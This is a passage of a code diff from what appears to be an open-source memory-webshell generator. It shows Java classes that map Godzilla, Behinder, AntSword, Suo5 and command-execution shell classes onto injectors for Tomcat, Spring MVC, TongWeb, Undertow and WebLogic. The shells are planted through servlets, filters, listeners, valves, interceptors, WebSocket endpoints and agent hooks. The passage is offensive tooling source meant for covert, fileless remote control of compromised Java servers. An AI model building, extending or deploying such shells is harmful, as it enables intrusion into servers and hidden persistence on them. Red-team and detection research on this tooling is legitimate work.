import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringWebMvcShell extends AbstractShell {
public static final String INTERCEPTOR = "Interceptor";
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String CONTROLLER_HANDLER = "ControllerHandler";
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(INTERCEPTOR, SpringWebMvcInterceptorInjector.class)
.addInjector(JAKARTA_INTERCEPTOR, SpringWebMvcInterceptorInjector.class)
.addInjector(CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(INTERCEPTOR, CommandInterceptor.class)
.addShellClass(JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(JAKARTA_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(JAKARTA_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
.build());
}
}
@@ -0,0 +1,133 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = ShellCommonUtil.getFieldValue(request, "response");
}
}
}
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(SERVLET, TomcatServletInjector.class)
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(VALVE, TomcatValveInjector.class)
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.build();
}
@Override
protected void init() {
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command);
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, commandListenerClass)
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.build());
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, godzillaListenerClass)
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.build());
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder);
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, behinderListenerClass)
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5);
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, suo5ListenerClass)
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.build());
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword);
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, antSwordListenerClass)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,101 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class TongWeb6Shell extends AbstractShell {
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build();
}
@Override
protected void init() {
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, commandListenerClass)
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
.addShellClass(VALVE, CommandValve6.class)
.addShellClass(JAKARTA_VALVE, CommandValve6.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.build());
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, godzillaListenerClass)
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
.addShellClass(VALVE, GodzillaValve6.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve6.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.build());
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, behinderListenerClass)
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
.addShellClass(VALVE, BehinderValve6.class)
.addShellClass(JAKARTA_VALVE, BehinderValve6.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, suo5ListenerClass)
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
.addShellClass(VALVE, Suo5Valve6.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve6.class)
.build());
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, antSwordListenerClass)
.addShellClass(VALVE, AntSwordValve6.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,100 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class TongWeb7Shell extends AbstractShell {
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build();
}
@Override
protected void init() {
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, commandListenerClass)
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
.addShellClass(VALVE, CommandValve7.class)
.addShellClass(JAKARTA_VALVE, CommandValve7.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.build());
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, godzillaListenerClass)
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
.addShellClass(VALVE, GodzillaValve7.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve7.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.build());
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, behinderListenerClass)
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
.addShellClass(VALVE, BehinderValve7.class)
.addShellClass(JAKARTA_VALVE, BehinderValve7.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, suo5ListenerClass)
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
.addShellClass(VALVE, Suo5Valve7.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve7.class)
.build());
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, antSwordListenerClass)
.addShellClass(VALVE, AntSwordValve7.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.memshell.server;
import lombok.Builder;
import lombok.Singular;
import org.apache.commons.lang3.tuple.Pair;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/2/21
*/
@Builder
public class ToolMapping {
@Singular("addShellClass")
private final Map<String, Class<?>> shellClassMap;
public List<String> getSupportedShellTypes() {
return new ArrayList<>(shellClassMap.keySet());
}
public Map<String, Pair<Class<?>, Class<?>>> getShellClassMap(InjectorMapping injectorMapping) {
Map<String, Pair<Class<?>, Class<?>>> result = new LinkedHashMap<>();
for (String type : injectorMapping.getSupportedShellTypes()) {
Class<?> shellClass = shellClassMap.get(type);
Class<?> injectorClass = injectorMapping.getInjector(type);
if (shellClass != null && injectorClass != null) {
result.put(type, Pair.of(shellClass, injectorClass));
}
}
return result;
}
}
@@ -0,0 +1,120 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import java.util.Map;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class UndertowShell extends AbstractShell {
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
Object[] keys = map.keySet().toArray();
for (Object key : keys) {
if (map.get(key).toString().contains("ServletRequestContext")) {
response = ShellCommonUtil.getFieldValue(map.get(key), "servletResponse");
break;
}
}
}
}
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(SERVLET, UndertowServletInjector.class)
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
.addInjector(FILTER, UndertowFilterInjector.class)
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
.addInjector(LISTENER, UndertowListenerInjector.class)
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
.addInjector(AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
.build();
}
@Override
protected void init() {
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, commandListenerClass)
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
.addShellClass(AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.build());
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, godzillaListenerClass)
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
.addShellClass(AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
.build());
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, behinderListenerClass)
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
.addShellClass(AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
.build());
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, suo5ListenerClass)
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
.build());
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, antSwordListenerClass)
.addShellClass(AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
.build());
}
}
@@ -0,0 +1,79 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class WebLogicShell extends AbstractShell {
public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(SERVLET, WebLogicServletInjector.class)
.addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(LISTENER, WebLogicListenerInjector.class)
.addInjector(AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command))
.addShellClass(AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla))
.addShellClass(AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder))
.addShellClass(AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5))
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
